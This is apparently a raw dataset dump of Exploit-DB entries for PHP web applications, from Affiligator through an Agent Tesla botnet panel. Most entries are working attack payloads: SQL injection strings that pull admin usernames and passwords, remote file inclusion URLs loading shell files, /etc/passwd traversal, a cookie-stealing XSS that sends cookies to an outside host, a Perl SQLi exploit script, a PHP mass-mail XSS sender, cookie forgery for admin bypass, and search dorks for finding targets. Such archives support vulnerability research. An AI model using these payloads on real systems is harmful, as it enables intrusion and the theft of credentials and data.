deardaniel/secdata-raw huggingface dataset:
Exploit-DB #43861
Description: Affiligator 2.1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2018-01-23
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Affiligator - Affiliate Webshop Management System 2.1.0 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: https://www.getaffiligator.com/
# Software Link: https://codecanyon.net/item/affiligator-affiliate-webshop-management-system/21214946
# Version: 2.1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5977
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/search/?q=&price_type=range&price=[SQL]
# 
# %31%30%30%20%61%6e%64%28%73%65%6c%65%63%74%21%56%65%72%41%79%61%72%69%2d%7e%30%2e%20%66%72%6f%6d%28%73%65%6c%65%63%74%28%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%56%65%72%73%69%6f%6e%28%29%29%29%79%29%78%29
# 
# # # # #
Exploit-DB #2529
Description: AFGB Guestbook 2.2 - 'Htmls' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-12
Author: mdx

Exploit:
#        afgb GUESTBOOK V2.2                           #
#      Htmls Remote File Include Vulnerability         #
#                       Turkish Hacker's               #
#       Discovered By : mdX                            #
#                                                      #
#------------------------------------------------------
#               Cyber-Warrior TIM                      #
#         Ay ve  YIldIzlar Geceye YakISIr...           #
#        the moon and the stars suit the night         #
########################################################
#
# Class : REmote
########################################################
#             File Code Detailed
#File :add.php?,admin.php?,look.php?,re.php
#
#Code :
#
#include "$Htmls";
########################################################
#
#
# Exploit : http://www.target.***/[path]/add.php?Htmls=http://shell.txt?
# Exploit : http://www.target.***/[path]/admin.php?Htmls=http://shell.txt?
# Exploit : http://www.target.***/[path]/look.php?Htmls=http://shell.txt?
# Exploit : http://www.target.***/[path]/re.php?Htmls=http://shell.txt?
########################################################
#                         _ThankX_
#
#
#
#Cyber-warrior User ,PROHACK, Siber-korsanlar [redx, dipsomania, k.z.l_alev]
#Shika, xoron , real_dark_boy, All Friends
########################################################

download link :http://www.afgb.to/ 

# milw0rm.com [2006-10-12]
Exploit-DB #32827
Description: Afian - 'includer.php' Directory Traversal
Type: webapps
Platform: php
Date: 2009-03-02
Author: vnbrain.net

Exploit:
source: https://www.securityfocus.com/bid/33943/info

Afian is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks.

http://www.example.com/path/css/includer.php?files=PATH_TO_FILES
Exploit-DB #33617
Description: Aflam Online 1.0 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-08
Author: alnjm33

Exploit:
source: https://www.securityfocus.com/bid/38147/info

Aflam Online is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Aflam Online 1.0 is vulnerable; other versions may also be affected. 

The following proof of concept is available:

http://www.example.com/admincp

username = 'or 33=33/*
[CREDENTIAL_REDACTED] War
Exploit-DB #4958
Description: aflog 1.01 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2008-01-22
Author: shinmai

Exploit:
# Name: aflog 1.01 (and possibly earlier)
# Webiste: http://aflog.org/
# Vulnerability type: SQL Injection (comments.php) and XSS
# Author:
#         shinmai, 2008-01-22
###############################################################################
# Description:
#
# SQL INJECTION:
#
# SQL injection is possible in comments.php for the GET variable 'id', like
# this:
http://hostname/aflog/comments.php?id='[SQLI]/*
# The following POC exposes the username and password of the first registered
# user (the admin):

http://localhost/aflog/comments.php?id='+UNION+SELECT+666,null,concat('username:',username,',password:',password),1,null,1+FROM+members+ORDER+BY+id+DESC+LIMIT+1/*

#
# The same principle could be applied to view.php, but forming the SQL
# injection string is easier in comments.php, IMHO.
#
# NOTE:
# A possible sollution to this is setting magic_quotes_gpc to "on" but this is
# viable to cause other problems, so a patch to aflog would be more benefitial.
#
###############################################################################
#
# XSS
#
# The comment form doesn't do much parsing on comments posted, other than their
# length.
#
# A newly registered user can easily compose an URL with an XSS exploit and
# trick a logged in user to click it to steal their login cookie.
#
#   Example comment:

Don't go <script>var a="<a
href='http://server/stealcookies?"+encodeURI(document.cookie)+"'>here</a>";document.write(a);</script>.

#
# Cliking this link would send the login cookie as a GET request to 'server' to
# be processed by a script called 'stealcookies'
#
# Good luck, and be safe. Greetings to the light of my life, innoscent.
#

# milw0rm.com [2008-01-22]
Exploit-DB #6818
Description: aflog 1.01 - Multiple Insecure Cookie Handling Vulnerabilities
Type: webapps
Platform: php
Date: 2008-10-23
Author: JosS

Exploit:
# aflog 1.01 Multiple Insecure Cookie Handling Vulnerabilies
# url: http://www.aflog.org/download.php
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

vuln file: /edit_delete.php
vuln code:
15: if($_COOKIE['aflog_auth_a']=="O" || $_COOKIE['aflog_auth_a']=="A"){
xx: .. ---> :P
33: }
34: } else {
35:  echo "<center><b><img src='img/x.png'>&nbsp;ERROR!</b><br>You do not have access to this page. You must be Signed In as
36: an Admin.</center><br>";
37:  echo "<center><a href='index.php' class='c'>Home</a> | <a href='login.php?do=form' class='c'>Sign In</a></center>":
38: }

exploit:    javascript:document.cookie = "aflog_auth_a=0; path=/"; document.cookie = "aflog_auth_a=A; path=/";
and enters: /edit_delete.php?id=1 --> POST ID!!
---
vuln files:
edit_cat.php
edit_lock.php
edit_form.php
...more?

dork: "powered by aflog"

Hack0wn :D

# milw0rm.com [2008-10-23]
Exploit-DB #3884
Description: aForum 1.32 - 'CommonAbsDir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-09
Author: ThE TiGeR

Exploit:
#AForum =>1.33 Remote file inclusion (Func.php)

#Download Script : http://www.agner.org/software/msgbrd2/aforum.zip

#Thanks Str0ke

#D0rk:allintitle:List of messageboards

#Exploit :

#http://localhost/[aforum_path]/common/func.php?CommonAbsDir=shell.txt?

#Discovered By : ThE TiGeR

#Greetz : Reda, â„¢~${{BraveHeart}}$~â„¢

#Miro_Tiger100[at]Hotmail[dot]com

# milw0rm.com [2007-05-09]
Exploit-DB #30642
Description: AfterLogic MailBee WebMail Pro 3.x - 'default.asp?mode2' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-10-05
Author: Ivan Sanchez

Exploit:
source: https://www.securityfocus.com/bid/25942/info
 
MailBee WebMail Pro is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
 
An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.
 
These issues affect MailBee WebMail Pro 3.4 and prior versions. 

http://www.example.com/[PATH]/default.asp?mode=advanced_login&mode2=[XSS]
Exploit-DB #30641
Description: AfterLogic MailBee WebMail Pro 3.x - 'login.php?mode' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-10-05
Author: Ivan Sanchez

Exploit:
source: https://www.securityfocus.com/bid/25942/info

MailBee WebMail Pro is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.

These issues affect MailBee WebMail Pro 3.4 and prior versions. 

http://www.example.com/[PATH]/login.php?mode=[XSS]
Exploit-DB #31086
Description: AfterLogic Pro and Lite 7.1.1.1 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-01-20
Author: Saeed reza Zamanian

Exploit:
<?php

/*  
# Exploit Title  : AfterLogic Pro and Lite <= 7.1.1.1 Stored XSS
# Google Dork	 : intext:"AfterLogic" intext:"Login Information" inurl:index.php
# Date		 : 19 Jan 2014
# Exploit Author : Saeed reza Zamanian  [s.zamanian [AT] imenantivirus.com]
# Vendor Homepage: http://www.afterlogic.com/
# Software Link  : http://www.afterlogic.com/download/webmail-pro
# Version	 : <= 7.1.1.1
# Tested on	 : KALI Linux 1.0.5 (Debian) Apache/2.2.22 
# CVE 		 : vendor id = 6423

Greetz:  H.Zamanian, K.Kia, K.Khani

WebApp Desciption:
	AfterLogic WebMail is a browser-based e-mail and collaboration front end,
	designed to work with your existing messaging solutions. From an administrator’s
	perspective, the application is easy to install on your own server, easy to integrate and
	easy to maintain.


Vulnerability Description:
	XSS codes can be stored in E-Mail Body.
	So you can send an email to the Victim with below payload and steal the victim's cookie.

	<a href=javaScRipt:alert(document.cookie)>Click Me, Please...</a>\r\n

	 NOTE: javascript html char encode = javaScRipt

	then you will be able to get into the victim's mailbox via the url:
	http://[WebSite]/[AfterLogic]/Default.aspx

## Phpmailer class is included in the exploit so you need to download it here and run the exploit in the phpmailer directory:
	http://code.google.com/a/apache-extras.org/p/phpmailer/downloads/list


*/

echo "<title>AfterLogic Pro and Lite <= 7.1.1.1 XSS Exploit</title>";
require_once('class.phpmailer.php');

$mail = new PHPMailer(true); // the true param means it will throw exceptions on errors, which we need to catch
$mail->IsSMTP(); // telling the class to use SMTP


/* SETTINGS */
$smtp_user = "username"; 	// Any valid smtp account
$smtp_pass = "password";	// Your PASSWORD
$smtp_port = "25";		// SMTP PORT Default: 25
$smtp_host = "localhost"; 	// Any valid smtp server
$from = "attacker@email.com";	// Any email
$victim = "victim@email.com";	// Victim email on afterlogic webmail.
$subject = "Salam";		// Subject

/* Body Text */
$body = '<a href=javaScRipt:alert(document.cookie)>Click Me, Please...</a>\r\n';



try {
  $mail->SMTPDebug  = 2;                  // enables SMTP debug information (for testing)
  $mail->SMTPAuth   = false;               // enable SMTP authentication
  $mail->Host       = $smtp_host;
  $mail->Port       = $smtp_port;
  $mail->Username   = $smtp_user; 	 // SMTP account username
  $mail->Password   = $smtp_pass;        // SMTP account password

  $mail->SetFrom($from, 'Attacker');
  $mail->AddReplyTo($from, 'Attacker');

  $mail->AddAddress($victim, 'Victim');
  $mail->Subject = $subject;

  $mail->MsgHTML($body);
  $mail->Send();
  echo "Message Sent OK</p>\n";
} catch (phpmailerException $e) {
  echo $e->errorMessage();
} catch (Exception $e) {
  echo $e->getMessage();
}
?>

</body>
</html>
Exploit-DB #35616
Description: Agahi Advertisement CMS 4.0 - 'view_ad.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-04-15
Author: Sepehr Security Team

Exploit:
source: https://www.securityfocus.com/bid/47371/info

Agahi Advertisement CMS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Agahi Advertisement CMS 4.0 is vulnerable; other versions may also be affected. 

http:/www.example.com/view_ad.php?id=-523+union+select+1,2,3,version%28%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
Exploit-DB #30927
Description: Agares Media ThemeSiteScript 1.0 - 'loadadminpage' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-12-24
Author: Koller

Exploit:
source: https://www.securityfocus.com/bid/26998/info

ThemeSiteScript is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

ThemeSiteScript 1.0 is reported vulnerable; other versions may be affected as well.

http://www.example.com/admin/index.php?loadadminpage=http://www.example2.com
Exploit-DB #4898
Description: Agares phpAutoVideo 2.21 - 'articlecat' SQL Injection (1)
Type: webapps
Platform: php
Date: 2008-01-12
Author: ka0x

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Agares PhpAutoVideo v2.21 Remote SQL Injection Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

D.O.M TEAM 2008
we are: ka0x, an0de, xarnuz
bug found by ka0x
concat: ka0x01[at]gmail.com>
#from spain

vulnerability in /includes/articleblock.php

vuln code:
------------------------------------------------------------------
$cat = $_GET['articlecat'];
if ($cat == NULL){ $sql = "SELECT * FROM amcms_articles;"; }
else{ $sql = "SELECT * FROM amcms_articles WHERE catid=$cat;"; }
------------------------------------------------------------------

Your user needs to be root@localhost or administrator mysql, check:
http://[host]/includes/articleblock.php?articlecat=-1/**/union/**/select/**/user()/*

user and password from mysql.user:
http://[host]/phpautovideo/includes/articleblock.php?articlecat=-1/**/union/**/select/**/concat(user,0x203a3a20,password)/**/from/**/mysql.user/*

# milw0rm.com [2008-01-12]
Exploit-DB #4905
Description: Agares phpAutoVideo 2.21 - 'articlecat' SQL Injection (2)
Type: webapps
Platform: php
Date: 2008-01-13
Author: Pr0metheuS

Exploit:
#!/usr/bin/perl
#Agares PhpAutoVideo 2.21 (articlecat) Remote SQL Injection Exploit
#Bug Found by ka0x ( http://milw0rm.org/exploits/4901 ).. but sql injection works if we include in index.php bug file with sql injection..like this :
#http://192.168.1.102/video/UPLOAD/index.php?loadpage=./includes/articleblock.php&articlecat=[SQL]
#So.. we can execute sql query and we have user admin & pass in MD5
#Exploit by Pr0metheus
#Gr33tz to Gr33tz-Team.org
#Dork : "powered by AMCMS3"
###############################################
use LWP::UserAgent;
if(@ARGV!=3){
	print "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n";
	print "Agares PhpAutoVideo 2.21 Remote Sql Injection\n";
	print "perl $0 <site> <path> <prefix>\n";
    print "default prefix - amcms\n";
	print "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n";
}
($site,$path,$prefix)=@ARGV;
$file  = "index.php?loadpage=./includes/articleblock.php&articlecat=";
$query = "1+and+1=2+UNION+SELECT+userkey,username,password,4,5,6,7,8,9,10+from+".$prefix."_users+where+userkey=1/*";
$ua = new LWP::UserAgent;
$ua->agent("Mozilla/8.0");
$ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => "".$site."".$path."".$file."".$query."");
$req->header('Accept' => 'text/html');
$res = $ua->request($req);
$con = $res->content;
if($con =~ /<p>(.*)<\/p>/){
	$p = $1;
	print "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n";
	print "Agares PhpAutoVideo 2.21 Remote Sql Injection\n\n";
	print "[+] Admin Pass : ".$p."\n";
	
	if($con =~/">(.*)<\/a><\/h1>/){
		$u = $1;
		print "[+] Admin Username : ".$u."\n";
		print "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n";
	
	}
	else{
		print "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n";
		print "Agares PhpAutoVideo 2.21 Remote Sql Injection\n\n";
		print "[+] Exploit Failed...\n";
		print "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n";
	}
}
else{
	print "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n";
	print "Agares PhpAutoVideo 2.21 Remote Sql Injection\n\n";
	print "[+] Exploit Failed...\n";
	print "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n";
}

# milw0rm.com [2008-01-13]
Exploit-DB #4782
Description: Agares phpAutoVideo 2.21 - Local/Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-12-24
Author: MhZ91

Exploit:
---------------------------------------------------------------
 ____            __________         __             ____  __  
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  | 
 |___|___|  /\__|  /______  /\___  >__|            |___||__| 
          \/\______|      \/     \/                          
---------------------------------------------------------------

Http://www.inj3ct-it.org        Staff[at]inj3ct-it[dot]org   

---------------------------------------------------------------

    Remote File Inclusion + Local File Inclusion

---------------------------------------------------------------

# Author: MhZ91
# Title: Agares PhpAutoVideo v2.21 - Remote File Inclusion + Local File Inclusion
# Download: http://scriptmafia.org/2007/12/19/agares_phpautovideo_v2.21.html
# Bug: Remote File Inclusion + Local File Inclusion
# Visit: http://www.inj3ct-it.org

---------------------------------------------------------------

Local File Inclusion:

http://[site]/includes/block.php?selected_provider=[LFI]%00

---------------------------------------------------------------

Remote File Inclusion

http://[site]/admin/frontpage_right.php?loadadminpage=[Evil_Code]

---------------------------------------------------------------

# milw0rm.com [2007-12-24]
Exploit-DB #6859
Description: Agares ThemeSiteScript 1.0 - 'loadadminpage' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-10-28
Author: DaRkLiFe

Exploit:
**************************************************************************************

Author : DaRkLiFe
Greetz : str0ke & S.W.A.T. & funkys0ul & Team 1nF3Ct3d

**************************************************************************************
Script   :

ThemeSiteScript v1.0 Remote File Inclusion Vulnerability

Home Page :

http://agaresmedia.com

Download :

http://rapidshare.com/files/72501220/ThemeSiteScript_1.0_webgraf.ru.rar

**************************************************************************************

Exploit :

http://localhost/upload/admin/frontpage_right.php?loadadminpage=Sh3lLz?

**************************************************************************************

Vulnerable : line 2 : <?PHP include($loadadminpage); ?>

**************************************************************************************

THANKS ! GREETZ ! HAPPY DIWALI !
**************************************************************************************

# milw0rm.com [2008-10-28]
Exploit-DB #4828
Description: AGENCY4NET WEBFTP 1 - 'download2.php' File Disclosure
Type: webapps
Platform: php
Date: 2008-01-01
Author: GoLd_M

Exploit:
    ########                  ######              ####                ######  ######
  ##      ##                    ##                  ##                  ####  ####  
  ##              ######        ##            ####  ##                  ####  ####  
  ##            ##      ##      ##          ##    ####                  ##  ##  ##  
  ##    ######  ##      ##      ##    ##    ##      ##                  ##      ##  
  ##      ##    ##      ##      ##    ##    ##      ##                  ##      ##  
    ######        ######      ##########      ##########              ######  ######
                                                        ##############              

####################################################################################
###### AGENCY4NET WEBFTP 1 download2.php Remote File Disclosure Vulnerability  #####
###### http://sourceforge.net/project/platformdownload.php?group_id=206982     #####
###### POC :                                                                   #####
###### /Script/download2.php?file=../../../../../../../../../../../etc/passwd  #####
###### D0rk :  :(                                                              #####
###### TrYaG-TeaM [Tryag.com/cc], H-T Team , RoMaNcYxHaCkEr , Asb-May's Team   #####
####################################################################################

# milw0rm.com [2008-01-01]
Exploit-DB #46777
Description: Agent Tesla Botnet - Information Disclosure
Type: webapps
Platform: php
Date: 2019-04-30
Author: n4pst3r

Exploit:
################################
# Exploit Title: Agent Tesla Botnet - Information Disclosure Disclosure Vulnerability
# Google Dork: n/a
# Date: 26/11/2018
# Exploit Author: n4pst3r
# Vendor Homepage: unkn0wn
# Software Link: http://www.agenttesla.com/ ¡ Down !
# Version: unkn0wn
# Tested on: Windows 10, debian 7
# CVE : n/a
# Greetz: Shell.root, Griever, Telibles
################################
# Vuln-Code: http://127.0.0.1/WebPanel/server_side/scripts/server_processing.php

$table = $_GET['table'];

// Table's primary key
$primaryKey = $_GET['primary'];

if(isset($_GET['where'])){
	$where = base64_decode($_GET['where']);
}else{
	$where = "";
}

$idArray = unserialize(urldecode($_GET['clmns']));

################################
PoC Extract full passwords:
http://127.0.0.1/WebPanel/server_side/scripts/server_processing.php?table=passwords&primary=password_id&clmns=a%3A6%3A%7Bi%3A0%3Ba%3A2%3A%7Bs%3A2%3A%22db%22%3Bs%3A11%3A%22server_time%22%3Bs%3A2%3A%22dt%22%3Bs%3A11%3A%22server_time%22%3B%7Di%3A1%3Ba%3A2%3A%7Bs%3A2%3A%22db%22%3Bs%3A7%3A%22pc_name%22%3Bs%3A2%3A%22dt%22%3Bs%3A7%3A%22pc_name%22%3B%7Di%3A2%3Ba%3A2%3A%7Bs%3A2%3A%22db%22%3Bs%3A6%3A%22client%22%3Bs%3A2%3A%22dt%22%3Bs%3A6%3A%22client%22%3B%7Di%3A3%3Ba%3A2%3A%7Bs%3A2%3A%22db%22%3Bs%3A4%3A%22host%22%3Bs%3A2%3A%22dt%22%3Bs%3A4%3A%22host%22%3B%7Di%3A4%3Ba%3A2%3A%7Bs%3A2%3A%22db%22%3Bs%3A8%3A%22username%22%3Bs%3A2%3A%22dt%22%3Bs%3A8%3A%22username%22%3B%7Di%3A5%3Ba%3A2%3A%7Bs%3A2%3A%22db%22%3Bs%3A3%3A%22pwd%22%3Bs%3A2%3A%22dt%22%3Bs%3A3%3A%22pwd%22%3B%7D%7D

PoC Extract full Keystrokes:
http://etvidanueva.com/photos/images/WebPanel/server_side/scripts/server_processing.php?table=logs&primary=log_id&clmns=a%3A6%3A%7Bi%3A0%3Ba%3A2%3A%7Bs%3A2%3A%22db%22%3Bs%3A6%3A%22log_id%22%3Bs%3A2%3A%22dt%22%3Bs%3A6%3A%22log_id%22%3B%7Di%3A1%3Ba%3A2%3A%7Bs%3A2%3A%22db%22%3Bs%3A11%3A%22server_time%22%3Bs%3A2%3A%22dt%22%3Bs%3A11%3A%22server_time%22%3B%7Di%3A2%3Ba%3A2%3A%7Bs%3A2%3A%22db%22%3Bs%3A4%3A%22hwid%22%3Bs%3A2%3A%22dt%22%3Bs%3A4%3A%22hwid%22%3B%7Di%3A3%3Ba%3A2%3A%7Bs%3A2%3A%22db%22%3Bs%3A7%3A%22pc_name%22%3Bs%3A2%3A%22dt%22%3Bs%3A7%3A%22pc_name%22%3B%7Di%3A4%3Ba%3A2%3A%7Bs%3A2%3A%22db%22%3Bs%3A3%3A%22log%22%3Bs%3A2%3A%22dt%22%3Bs%3A3%3A%22log%22%3B%7Di%3A5%3Ba%3A2%3A%7Bs%3A2%3A%22db%22%3Bs%3A9%3A%22ip_addres%22%3Bs%3A2%3A%22dt%22%3Bs%3A9%3A%22ip_addres%22%3B%7D%7D